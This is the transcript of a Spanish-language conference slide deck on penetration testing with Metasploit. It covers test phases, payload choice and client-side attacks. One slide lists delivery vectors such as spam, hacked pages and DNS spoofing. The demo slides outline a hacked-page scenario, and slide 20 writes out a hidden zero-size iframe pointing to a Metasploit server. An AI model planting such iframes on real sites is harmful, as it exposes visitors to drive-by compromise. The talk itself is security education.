Top Banner
Pentesting con Metasploit Framework Pablo González
25

Pentesting con metasploit framework

May 28, 2015

Download

Technology

Charla impartida por Pablo González, de la empresa Informática 64 para el evento Asegur@itCamp4! que tuvo lugar durante los días 26, 27 y 28 de Octubre de 2012 en El Escorial, Madrid.
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Pentesting con metasploit framework

Pentesting con Metasploit Framework

Pablo González

Page 2: Pentesting con metasploit framework

¿Qué es Metasploit?

Es el caos, puro y bello por fuera, eterno y complejo por

dentro, es puro pentesting…

Page 3: Pentesting con metasploit framework

Agenda

1. Arquitectura de Metasploit2. Fases de un test de intrusión3. ¿Dónde participa Metasploit?4. El arte de la intrusión5. El bien y el mal…6. Demo7. La tienda en casa

Page 4: Pentesting con metasploit framework

Arquitectura?

Page 5: Pentesting con metasploit framework
Page 6: Pentesting con metasploit framework

Fases Test Intrusión

Page 7: Pentesting con metasploit framework

Fases

Alcance y términos del test de intrusión

Recolección de informaciónAnálisis de vulnerabilidadesExplotación de vulnerabilidadesPost-Explotación del sistemaGeneración de informes

Page 8: Pentesting con metasploit framework

¿Dónde participa?

Page 9: Pentesting con metasploit framework

Lo importante es…

Participar!!!

Recolección de informaciónAnálisis de vulnerabilidadesExplotación de vulnerabilidadesPost-Explotación

Pero incluso… ayuda a generar informes!

Page 10: Pentesting con metasploit framework

El arte de la intrusión

Page 11: Pentesting con metasploit framework

¿Arte o Ingeniería?

Procedure pentesting;BEGIN

writeln(‘paso 1’)writeln(‘paso 2’)…arte;

END;

Procedure arte;…

Page 12: Pentesting con metasploit framework

Ámbito

Explotación vulnerabilidades (pero…)

Best and Worst Practices

Page 13: Pentesting con metasploit framework

Elección del payload

Más de 200 payloads…

Son nuestras cartas… ¿Siempre usaremos al rey?

Page 14: Pentesting con metasploit framework

Tipos de Intrusión

¿Cómo lanzo los exploits?

Sin Interacción… (terror!)Con Interacción… (client-side attack!)

Page 15: Pentesting con metasploit framework

Client Side Attack!

Dark Shadows, ¿Cómo hago para que hagan peticiones a mí?

Mailing? (spam??)Foros…Páginas web hackeadas…Publicaciones en InternetAcortadores…Ataques locales (DNS Spoof)

Page 16: Pentesting con metasploit framework

El bien y el mal…

Page 17: Pentesting con metasploit framework

El límite

Debemos ser éticos… ¿Lo somos?

La delgada línea…

Podemos utilizar los ataques client-side para: (muchas, muchas cosas)

Distribución malware…Payloads permanentes con MSF!

Page 18: Pentesting con metasploit framework

Demo: A jugar!

Page 19: Pentesting con metasploit framework

¿Qué vamos a hacer?

Escenario: (idea del mundo real… ^^)

1. Página hackeada…2. Iframe que apunte a 1 server con

MSF3. Lanzamiento de exploits contra

cliente4. Obtenemos el control…5. ¿Troyanizamos? (distribución

malware)

Page 20: Pentesting con metasploit framework

Iframe…

<iframe src=http://192.168.56.101:8080/ width=0 height=0 style=“hidden” frameborder=0 marginheight=0 marginwidth=0/>

Page 21: Pentesting con metasploit framework
Page 22: Pentesting con metasploit framework
Page 23: Pentesting con metasploit framework

La tienda en casa

Page 24: Pentesting con metasploit framework

…y han tenido la paciencia…

Metasploit para Pentesters

He tenido el honor…

Page 25: Pentesting con metasploit framework